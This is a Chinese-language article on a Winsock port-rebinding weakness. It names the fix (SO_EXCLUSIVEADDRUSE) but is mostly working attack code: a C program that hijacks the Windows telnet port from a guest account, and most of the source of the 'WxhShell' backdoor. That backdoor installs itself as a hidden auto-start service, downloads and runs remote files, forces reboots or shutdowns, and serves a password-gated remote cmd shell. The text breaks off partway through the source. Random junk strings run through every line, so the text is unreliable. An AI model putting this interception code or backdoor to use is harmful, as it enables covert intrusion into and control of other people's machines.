在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=UUU$hq2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
2hzsKkrA
{ {~Rk2:gx saddr.sin_family = AF_INET;
aDO! y=?)n\f saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(L^]Lk
x) S$QG.K:<! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i3rH'B-I. 9$2/MT't 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0a80 LAK !1e6Ss 这意味着什么?意味着可以进行如下的攻击:
d3=KTTi\ sI{ M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
phM>.y_ |*}4 m'c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
15o9 . L4!{h| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B95B|tU>. tH-C8Qxy 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|yx6X{$k 0#nPbe,Lj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
H1}
RWaJ )wT-8o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:j+ ZI3@ @`gk|W3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
r-:Uz\gM |`.([2 #include
ZIQ
[bE7 #include
Z]B~{!W1 #include
|UX(+;n
#include
]*AR,0N& DWORD WINAPI ClientThread(LPVOID lpParam);
<yd{tD$A* int main()
ZpnxecJUJ {
*s:(jDlv WORD wVersionRequested;
r-Pkfy( DWORD ret;
H ' WSADATA wsaData;
3f,hw5R BOOL val;
ljb7oA3cP4 SOCKADDR_IN saddr;
[PDNwh0g5 SOCKADDR_IN scaddr;
Q\ 0cvmU int err;
p>4-s, W SOCKET s;
dw*_(ys SOCKET sc;
XCBL}pNkR int caddsize;
T\D}kQM HANDLE mt;
,^2>k3= DWORD tid;
"thdPZ wVersionRequested = MAKEWORD( 2, 2 );
Eea*s' err = WSAStartup( wVersionRequested, &wsaData );
Dy:|g1> if ( err != 0 ) {
FY#C.mL printf("error!WSAStartup failed!\n");
5yP\I+Fm return -1;
?vbvBu{a }
Z'.AA OG saddr.sin_family = AF_INET;
;IZwTXu !S c}2jmwq
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
T( U_ `~By)?cT_> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/w}u3|L$ saddr.sin_port = htons(23);
~5}*
d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
De'_SD|= {
Zg{KFM% printf("error!socket failed!\n");
ppVHLrUh return -1;
;EP:o%r }
}f6HYU val = TRUE;
oY H^_V //SO_REUSEADDR选项就是可以实现端口重绑定的
R8a3
1& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.nx2";oi {
` 2V19s] printf("error!setsockopt failed!\n");
%5"9</a&G return -1;
G$F<$ }
Wa{` VS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[q8 P~l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
) QU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
P&*2pX: @emK1iwm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
RwpdRBb {
D$I5z.a ret=GetLastError();
b?tB(if!I printf("error!bind failed!\n");
j}.\]$J return -1;
CDK5 }
>JFO@O5 listen(s,2);
/} b03 while(1)
CTq&-l:f {
Nh_Mz;ITuu caddsize = sizeof(scaddr);
B#Vz#y //接受连接请求
c7x~{V8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
4R1<nZ"e~ if(sc!=INVALID_SOCKET)
vunHNHltW0 {
Lr~=^{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(ROY?5
@c if(mt==NULL)
$QN"wL|| {
wsI`fO^A8 printf("Thread Creat Failed!\n");
K;?m';z0 break;
Qp_isU }
Bg x'9p/ }
\Je0CD=e` CloseHandle(mt);
1W^taJH] }
Krqtf closesocket(s);
.6+Z^,3 WSACleanup();
QI'Oz{vE return 0;
"K6&dk jY }
iTgt}]L DWORD WINAPI ClientThread(LPVOID lpParam)
OR~8sU {
<lx+/o SOCKET ss = (SOCKET)lpParam;
4%>$-($ SOCKET sc;
s(/;U2"e unsigned char buf[4096];
^/I
7|u] SOCKADDR_IN saddr;
< $lCkSx<Q long num;
YNKHN2E8 DWORD val;
K*LlW@ DWORD ret;
yerg=,$_i //如果是隐藏端口应用的话,可以在此处加一些判断
a|t$l=|DD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'"0'Oua saddr.sin_family = AF_INET;
1ySk;;3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'YmIKIw saddr.sin_port = htons(23);
w0rRSD4S8B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g+vva" {
lb4Pcdj printf("error!socket failed!\n");
SJb&m- return -1;
. qO@Q = }
}YGV\Nu val = 100;
B~MU^|v if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n8~N$tDU {
+"
.X
)avF ret = GetLastError();
!Xf5e*1IS return -1;
`u3EU*~W }
y\4L{GlBM if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)~)J?l3{ {
f-vCm 5f ret = GetLastError();
Dp,L/1GQ8 return -1;
X(
\AB }
%g{X ? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
h7G"G" {
_|kxY'_[8 printf("error!socket connect failed!\n");
J=9FRC closesocket(sc);
P{kur} T closesocket(ss);
>JHryS.j$4 return -1;
j4gF;-m< }
N.,X<G.H while(1)
-$,TMqM {
t3 8m'J :> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
BO~0ON0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
I| w"/"U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
x
nsLf?>] num = recv(ss,buf,4096,0);
AifWf2$S if(num>0)
4KhV|#-;k send(sc,buf,num,0);
i1ixi\P{0 else if(num==0)
oK6tTK break;
?GKb7Oj num = recv(sc,buf,4096,0);
>)fi^ if(num>0)
q/4J.jL send(ss,buf,num,0);
9UdM`v)( else if(num==0)
rK' L6o break;
EH+"~-v)ae }
X9v.1s, closesocket(ss);
> kGGR closesocket(sc);
-;s| return 0 ;
xI #9 }
Qp)v?k ] oR)Jznmi} @Q)OGjaq ==========================================================
U6glp@s kyR:[+je 下边附上一个代码,,WXhSHELL
uw>Ba %5 PS)4 I&;U ==========================================================
pnl{&<$C%C jwc)Lj} #include "stdafx.h"
k^3>Y%^1 [A+
>^ { #include <stdio.h>
orzZ{87 #include <string.h>
l:
HTk4$0 #include <windows.h>
p|X"@kuseO #include <winsock2.h>
?AK(| #include <winsvc.h>
T,,WoPU8t #include <urlmon.h>
yr)G]K[/ %P;lv*v. #pragma comment (lib, "Ws2_32.lib")
|HiE@ #pragma comment (lib, "urlmon.lib")
y`Wty@ d~9A+m3b_ #define MAX_USER 100 // 最大客户端连接数
I&D5;8 #define BUF_SOCK 200 // sock buffer
f',Op1o #define KEY_BUFF 255 // 输入 buffer
\j@OZ R/~p>apg8 #define REBOOT 0 // 重启
6dq(T_eG #define SHUTDOWN 1 // 关机
ne>pOK<vZ epA:v|S #define DEF_PORT 5000 // 监听端口
l5S aT,% )Kc<j!8-[ #define REG_LEN 16 // 注册表键长度
$SlIr<'*" #define SVC_LEN 80 // NT服务名长度
Bd!bg|uO* Z^bQ^zk- // 从dll定义API
>6ni")Q9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
D$w6V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
v,FU^f-' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0M_ DB= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3]5^r} #3i3G(mQ // wxhshell配置信息
[;n9:Qxf struct WSCFG {
G?L HmTHg int ws_port; // 监听端口
q$0*b]=E char ws_passstr[REG_LEN]; // 口令
Mo|;'+ int ws_autoins; // 安装标记, 1=yes 0=no
nD_GL char ws_regname[REG_LEN]; // 注册表键名
|U:k,YH char ws_svcname[REG_LEN]; // 服务名
lEH65;Nh* char ws_svcdisp[SVC_LEN]; // 服务显示名
:i0uPh\0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
$njUXSQ; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
S3q&rqarC% int ws_downexe; // 下载执行标记, 1=yes 0=no
XQY#716) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8r*E-akuyr char ws_filenam[SVC_LEN]; // 下载后保存的文件名
cXA
i k- %^?fMeI|Y };
Y@;CF &C`Gg< // default Wxhshell configuration
Gt\lFQ
struct WSCFG wscfg={DEF_PORT,
wg9t)1k{e "xuhuanlingzhe",
*D'22TO[[! 1,
:NhO2L "Wxhshell",
G!Op~p@Jm "Wxhshell",
7BE>RE=) "WxhShell Service",
ux=w!y;} "Wrsky Windows CmdShell Service",
'j`=if "Please Input Your Password: ",
!O\82d1P 1,
2i)^!c "
http://www.wrsky.com/wxhshell.exe",
bg!/%[ {M "Wxhshell.exe"
W,K;6TZhh };
Ansk,$
\Z?9{J // 消息定义模块
aZH:#lUlj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
bZ dNibN char *msg_ws_prompt="\n\r? for help\n\r#>";
@3>u@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
rlML W char *msg_ws_ext="\n\rExit.";
QJZK|* char *msg_ws_end="\n\rQuit.";
.iYJr;9`d char *msg_ws_boot="\n\rReboot...";
AuvkecuIh char *msg_ws_poff="\n\rShutdown...";
G~F b char *msg_ws_down="\n\rSave to ";
B7VH<;Z .yMEIUm char *msg_ws_err="\n\rErr!";
ST|x23|O] char *msg_ws_ok="\n\rOK!";
~k"=4j9 piJu+tUy char ExeFile[MAX_PATH];
~Q Oe## int nUser = 0;
h){0rX@:& HANDLE handles[MAX_USER];
@D]5c ivm_ int OsIsNt;
^ sOQi6pL *l"T$H SERVICE_STATUS serviceStatus;
cutu DZ SERVICE_STATUS_HANDLE hServiceStatusHandle;
#Vnkvvv .u)X3..J // 函数声明
2bv=N4ly int Install(void);
x!?u^ int Uninstall(void);
3$jT*OyG# int DownloadFile(char *sURL, SOCKET wsh);
nXaC3W:" int Boot(int flag);
Ab~3{Q]# void HideProc(void);
qFicBpB int GetOsVer(void);
B~'vCuE int Wxhshell(SOCKET wsl);
Q3XpHnufu+ void TalkWithClient(void *cs);
1rNzJ;' int CmdShell(SOCKET sock);
`}D,5^9] int StartFromService(void);
kI,yU}<Fq int StartWxhshell(LPSTR lpCmdLine);
Q{O+ Giid~e33 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
S){)Z VOID WINAPI NTServiceHandler( DWORD fdwControl );
8f_l}k$Eg 1gE [v // 数据结构和表定义
Bj+S"yS SERVICE_TABLE_ENTRY DispatchTable[] =
^6jV_QM# {
^4y,W]JUDt {wscfg.ws_svcname, NTServiceMain},
6,^>mNm {NULL, NULL}
g1;:KzVv };
zv|2:4H l^!
?@Kg,z // 自我安装
)1Y{Q Y}l int Install(void)
X@ --m6- {
^3G{|JB!+ char svExeFile[MAX_PATH];
eln)BW# HKEY key;
HSw;^E)1 strcpy(svExeFile,ExeFile);
2% MC Yn im${3 >26 // 如果是win9x系统,修改注册表设为自启动
/{EP*,/* if(!OsIsNt) {
E`kG-Q5Dw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'@a}H9>} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aEBu *`-j RegCloseKey(key);
6gkV*|U,e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B*eC3ok3z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_no/F2>!/n RegCloseKey(key);
hnffz95 return 0;
TCMCK_SQL }
+Te\H }
Hf%@3X }
55G+; else {
ISzqEi $6#CqWhI // 如果是NT以上系统,安装为系统服务
L,HhbTRca SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
`A,-@`p if (schSCManager!=0)
bc7/V#W {
2\)xpOj SC_HANDLE schService = CreateService
mWv3!i;G<s (
hM_lsc schSCManager,
0$(WlP| wscfg.ws_svcname,
\/93Dz wscfg.ws_svcdisp,
kF3k7,.8& SERVICE_ALL_ACCESS,
kc2PoJ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Lt2u,9 SERVICE_AUTO_START,
2\R'@L*
SERVICE_ERROR_NORMAL,
_1!7V3|^ svExeFile,
;p.v]0]is NULL,
bc*X/). NULL,
<NHH^M\N NULL,
*~2,/D NULL,
XP`Nf)3{Yd NULL
_Mi5g_ );
j9m_jv if (schService!=0)
~Q*%DRd&Z- {
7( #:GD CloseServiceHandle(schService);
T*I{WW CloseServiceHandle(schSCManager);
]q\b,)4
e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
['b}QW@Fx strcat(svExeFile,wscfg.ws_svcname);
Z/G
ev"p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ah1]Y}sy
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
M
"ui0
ac RegCloseKey(key);
hz{`h return 0;
!:)s"|= }
3D6RLu }
<3L5"77G6 CloseServiceHandle(schSCManager);
bs+f,j-oBN }
I.I`6(Cb }
SbcS]H5Sk .[YuRLGz return 1;
!d'GE`w T }
D,FHZDt 2Zm0qJ // 自我卸载
87=&^.~` int Uninstall(void)
+|*IZ:w) {
<:_wbVn- HKEY key;
1kz\IQ{ ,t3wp#E2# if(!OsIsNt) {
G%BjhpL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2L!u1 RegDeleteValue(key,wscfg.ws_regname);
GL&y@6 RegCloseKey(key);
K:J3Z5" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
QZ!Y2Bz(4 RegDeleteValue(key,wscfg.ws_regname);
+20G>y=+ RegCloseKey(key);
RXNn[A4xfY return 0;
fAF1"4f }
1v#%Ei$6`t }
7 G)ZN{' }
65L6:}# else {
}#3V+X B)$| vK= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
y@1+I~@ if (schSCManager!=0)
>d@&2F TO {
uMUBh 80,L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
85>05? if (schService!=0)
.GbX]?dN {
W=lyIb{?^0 if(DeleteService(schService)!=0) {
mD/9J5: CloseServiceHandle(schService);
88Ey12$ CloseServiceHandle(schSCManager);
6e (Qwt return 0;
8<5]\X }
rW<KKGsRWQ CloseServiceHandle(schService);
`Nv=B1 }
w}L]X1#sF CloseServiceHandle(schSCManager);
%W'v}p }
^9m\=5d }
$': E\*ICb ;
a/X< return 1;
%) /s; Q, }
phQUD EJj.1/]|r // 从指定url下载文件
5]~'_V int DownloadFile(char *sURL, SOCKET wsh)
-M~8{buxv {
czA5n HRESULT hr;
R$v[!A+:' char seps[]= "/";
>~#yu&*D char *token;
B`YTl~4 char *file;
LU
\i0|i| char myURL[MAX_PATH];
#r$cyV!k char myFILE[MAX_PATH];
j_/>A=OD -] LY,M strcpy(myURL,sURL);
9eR-
token=strtok(myURL,seps);
*jLJcb*.Ap while(token!=NULL)
tI]Q%S, {
RW|`nL file=token;
9"NF/)_ token=strtok(NULL,seps);
'g6\CZw(# }
tG:25 T0 .>q8W GetCurrentDirectory(MAX_PATH,myFILE);
.rO]M:UY strcat(myFILE, "\\");
S3F;(PDzy strcat(myFILE, file);
C](f>)Dz
/ send(wsh,myFILE,strlen(myFILE),0);
C'G/AU send(wsh,"...",3,0);
\<.+rqa! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
63^O|y\W8 if(hr==S_OK)
*7:>EP return 0;
Nc1"g1JR else
&@G:G( return 1;
PZ2;v< :C7_Jp*Qv }
LVX[uWEM d<% z
1Dj2 // 系统电源模块
B%"
d~5Y int Boot(int flag)
81](T< {
!4]TXH0f HANDLE hToken;
cq5jP Z} TOKEN_PRIVILEGES tkp;
1G"z<v
B ;}7Rjl# if(OsIsNt) {
E08klC0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>x/z7v?^I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Bs13^^hu tkp.PrivilegeCount = 1;
SlgN&{Bk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-5
RD)(d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ccNd'2P if(flag==REBOOT) {
BYpG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_?<|{O return 0;
7zA'ri3w }
8R2QZXJb- else {
Jy^u? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
cU
R kP` return 0;
qUh2hz: }
-jW.TT h] }
7[w,:9& } else {
TBs|r# if(flag==REBOOT) {
3Iua*#<m, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wE[]6\_x1 return 0;
]"J~:{, d }
rk&IlAE else {
N6>(;ugJ1- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
f) zn TJL return 0;
2gc/3*F8 }
gaQdG=G8$ }
48c1gUwoP .|hf\1_J return 1;
fo5iJz"Z }
hq%?=2'9? o%v0h~tn // win9x进程隐藏模块
uH/J]zKR void HideProc(void)
Z('Z {
0M*Z'n
+ rw: c HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$RYa6"` if ( hKernel != NULL )
Q(@U2a8 {
3cFf#a # pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(^s>m,h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O9vQp FreeLibrary(hKernel);
5pj22 s }
E'G4Y- N8k00*p65 return;
6 2'j!"xv }
>v:y?A,
5Ec6),+& // 获取操作系统版本
{F3xJ[ int GetOsVer(void)
prYs
$j {
oT^{b\XN OSVERSIONINFO winfo;
LISM ngQ. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
./,/y"x GetVersionEx(&winfo);
lm!.W5-l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
qo p^;~ return 1;
B$-R-S6 else
&7<TAo;O return 0;
$AfM>+GQ`n }
Kw-gojZ " |Xk2U // 客户端句柄模块
Gnf~u[T6 int Wxhshell(SOCKET wsl)
O?)3VT* {
*194{ ep SOCKET wsh;
jNTjSX struct sockaddr_in client;
4NGA/
G DWORD myID;
[ad@*KFxy3 aAJU`=uq while(nUser<MAX_USER)
OTy.VT| {
IzsphBI int nSize=sizeof(client);
}x@2]juJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pv*,gSS if(wsh==INVALID_SOCKET) return 1;
Y'yH;Mz DKne'3pH handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
TFH \K{DM if(handles[nUser]==0)
mk1bcK9 closesocket(wsh);
DSC$i| else
:e]a$ nUser++;
QcgRAo+u }
*i]=f6G WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1xD=ffM>8N WfWN(:dF return 0;
"^4_@ oo }
t\NqR ?kWC}k{ // 关闭 socket
|?rNy=P, void CloseIt(SOCKET wsh)
21
O'M {
.P;*D ws closesocket(wsh);
KB%"bqB| nUser--;
r
YogW! ExitThread(0);
&0='r;*i }
3|WWo1 !u_Y7i3^ // 客户端请求句柄
}lh I\q void TalkWithClient(void *cs)
&S( .GdEf {
VSrr`B
}2<r, SOCKET wsh=(SOCKET)cs;
TcIcS]w% char pwd[SVC_LEN];
=4[v3Qx char cmd[KEY_BUFF];
\n{qsf: char chr[1];
{. 2k6_1[ int i,j;
<Fi%iA @W vatD
V while (nUser < MAX_USER) {
>=RmGS gg[WlRQK4A if(wscfg.ws_passstr) {
p<zSJLN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p;._HJ( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:z4)5=
6M //ZeroMemory(pwd,KEY_BUFF);
q<\, i=0;
3AQZRul while(i<SVC_LEN) {
$]{k+Jf iMI lZ // 设置超时
]vgB4~4#LP fd_set FdRead;
;ado0-VQi' struct timeval TimeOut;
T^ w36}a FD_ZERO(&FdRead);
LJ*q 1
;<E FD_SET(wsh,&FdRead);
f#?fxUH~ TimeOut.tv_sec=8;
h!&prYx TimeOut.tv_usec=0;
{U!8|( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.z
6fv if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
GqWB{$J;" 2W/?q!t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\]=7!RQ\ pwd
=chr[0]; kB/D!1
"
if(chr[0]==0xd || chr[0]==0xa) { ,=tD8@a<
pwd=0; |p><'Q%*
break; dik:4;
} 4"{ooy^Q
i++; 2ggdWg7z
} 0o+6Q8q
u:[vaBh91
// 如果是非法用户,关闭 socket V\u>"3BQw
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MO&}r7qq
} h v8P4"i v
VG,u7A*Z#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zoOaVV&1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > ?6&c
!OBEM1~
1
while(1) { q0$
!y!~
(>VX-Y/
ZeroMemory(cmd,KEY_BUFF); u#Z#)3P
0Uz\H0T1
// 自动支持客户端 telnet标准 Bm"KOr$}-
j=0; 1jy9lP=
while(j<KEY_BUFF) { I 4,K43|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2C/$Ei^t
cmd[j]=chr[0]; /h*>P:i].
if(chr[0]==0xa || chr[0]==0xd) { P^w#S
cmd[j]=0; v1%uxthW
break; g{8,Wx,,
} 1jN-4&
j++; hg+X(0
} :@ %4
y>72{
// 下载文件 DTaN"{
if(strstr(cmd,"http://")) { D+]a.& {p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z$0uH* h
if(DownloadFile(cmd,wsh)) eU<]o<
\Qo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O+?<h{"
else Au4yBm
u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r41\r,`Dj
} ag*mG*Z
else { :cq9f2)
0TGLM#{
switch(cmd[0]) { >S'17D
+RnkJ* l
// 帮助 J(c{y]` J
case '?': { .a._NW
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~v]!+`_J
break; cfcim.jB
} _Y8hb!#(
// 安装 po$ /7
case 'i': { O
[i#9)
if(Install()) JMH8MH*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TiYnc3Bz}J
else >TQH|}|6(y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +m8!U=Zi
break; &_~+(
} PI`jExL
// 卸载 q o\?o
case 'r': { NX|v=
if(Uninstall()) [k6nW:C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ {
bV4
else ADpmvW f?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =$nB/K,8AX
break; .G+Pe'4a
} M@?xa/E64
// 显示 wxhshell 所在路径 p;W.lcO`0
case 'p': { DdVF,
char svExeFile[MAX_PATH]; :,J}z~I,lB
strcpy(svExeFile,"\n\r"); agjv{
strcat(svExeFile,ExeFile); L{(QpgHZ
send(wsh,svExeFile,strlen(svExeFile),0); Yc,7tUz#
break; |b*?
qf
} ^4,a 8`
// 重启 )hk
case 'b': { tI7:5Cm
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G3rj`Sg^c
if(Boot(REBOOT)) JaK}|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+CyQq
else { TZ2=O<Kj
closesocket(wsh); :'*DPB-
ExitThread(0); 7vABq(
} `67[O4$<
break; 6IWxPt~
} {%IE xPJ
// 关机 ,:??P1
case 'd': { w~
[b*$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >2]JXLq
if(Boot(SHUTDOWN)) 'A:x/iv}^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %K>.lh@
else { [o.B
closesocket(wsh); 3bDQk
:L
ExitThread(0); Fd#m<"
} cOPB2\,
break;
"dI;
} Sr%;fq
// 获取shell }S3qBQTYL
case 's': { O9g{+e`
CmdShell(wsh); :%sXO
closesocket(wsh); FIbp"~
ExitThread(0); t
0-(U\
break; F$^Su<w5l
} 6e_dJ=_
// 退出 L5qwWvbT
case 'x': { CE"JS-S?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u-tQ9ioKC
CloseIt(wsh); L~ IhsiB
break; h+a S4Q&
} }J7zTj~{
// 离开 ^b 7GH9<&
case 'q': { rtL}W__
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .N*Pl(<[
closesocket(wsh); VMCLHpSfW
WSACleanup(); ({NAMc*
exit(1); dlG=Vq&Y
break; jS]><rm
} =IUUeFv +r
} _>v<(7
} fgBM_c&9T
c7M%xGrP
// 提示信息 !w H'b
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `\m*+Bk[5
} #'q<v"w
} KX}Rr7a
RKPD4e>%
return; |U_]vMq
} IN,(yaC
v$=QA:!U
// shell模块句柄 Y;)dct
int CmdShell(SOCKET sock) Dc+'<"
{ <a[Yk 2
STARTUPINFO si; P|HKn,ar
ZeroMemory(&si,sizeof(si)); i,|0@Vy
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OQ,NOiNkap
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?_v{|
YI=
PROCESS_INFORMATION ProcessInfo; V13BB44
char cmdline[]="cmd"; **+e7k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RGK8'i/X
return 0; Q6XRsFc
} a&k_=/X&
lt_']QqU
// 自身启动模式 Q7g>4GZC
int StartFromService(void) 5bA)j!#)|X
{ TO-nD>
typedef struct ,:%"-`a%
{ )
/v6l
DWORD ExitStatus; lw :`M2P,
DWORD PebBaseAddress; MCT'Nw@A
DWORD AffinityMask; qVdwfT{1J
DWORD BasePriority; B}eA\O4}I
ULONG UniqueProcessId; UK{irU|\
ULONG InheritedFromUniqueProcessId; -_<}$9lz
